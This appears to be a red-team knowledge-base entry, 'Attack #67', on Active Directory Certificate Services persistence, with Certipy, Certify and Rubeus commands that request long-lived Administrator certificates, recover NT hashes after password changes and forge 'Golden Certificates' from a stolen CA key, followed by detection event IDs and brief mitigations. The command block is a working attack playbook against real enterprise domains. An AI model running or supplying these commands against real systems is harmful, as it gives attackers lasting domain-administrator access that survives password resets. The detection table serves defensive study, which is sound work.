title: "Attack #67 β ADCS Certificate-Based Persistence" description: "An attacker who has compromised a DA account can request a long-lived client authentication certificate for that account. Even after the DA password isβ¦" category: active-directory subcategory: "Persistence" tags: ["active-directory", "adcs", "persistence", "hashing"] tools: ["Rubeus", "Certipy", "Certify", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/π€ Attack #67 β ADCS Certificate-Based Persistence.md"#
π€ Attack #67 β ADCS Certificate-Based Persistence#
π How It Works#
An attacker who has compromised a DA account can request a long-lived client authentication certificate for that account. Even after the DA password is changed, the certificate remains valid for authentication via PKINIT β typically for 1 year or more. Combined with Golden Certificate (#35) (stealing the CA private key to forge unlimited certs), ADCS persistence is the strongest persistence mechanism in AD.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| DA or target user credentials | To request a certificate |
| ADCS deployed | With Client Authentication templates available |
π» Full Commands#
# ββ Request a long-lived cert as Administrator ββββββββββββββββββββββββββββββββ
certipy req -u Administrator@corp.local -p 'Password1' -ca CORP-CA \
-template User -dc-ip 10.10.10.10
# Output: administrator.pfx (valid for template's configured lifetime, default 1 year)
# ββ Use cert after password change (months later) ββββββββββββββββββββββββββββ
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# Returns current NT hash β even though password was changed
# ββ Golden Certificate (ultimate persistence β Attack #35) βββββββββββββββββββ
# Forge unlimited certificates using stolen CA key:
certipy forge -ca-pfx CORP-CA.pfx -upn Administrator@corp.local -subject "CN=Administrator"
certipy auth -pfx forged_administrator.pfx -dc-ip 10.10.10.10
# ββ Certify (Windows) βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
.\Certify.exe request /ca:CORP-CA /template:User
# Convert PEM to PFX, then use Rubeus for PKINIT:
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:pass /ptt
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4886 | Security Log (CA) | Certificate enrollment by admin account |
| 4768 | Security Log (DC) | PKINIT authentication β smart card logon for non-smart-card user |
π Attack Chain Context#
[ADCS Persistence] βββ Long-lived certificates survive password changes
β
ββββ π Cert valid 1+ year β outlasts password rotation policies
ββββ π Golden Certificate: forge unlimited certs = permanent access
ββββ π Defeated by: short cert lifetimes, CA key protection, cert revocation
β Attack #67 β ADCS Certificate-Based Persistence complete.
π Category 8 β Persistence Techniques is now COMPLETE (7/7 attacks).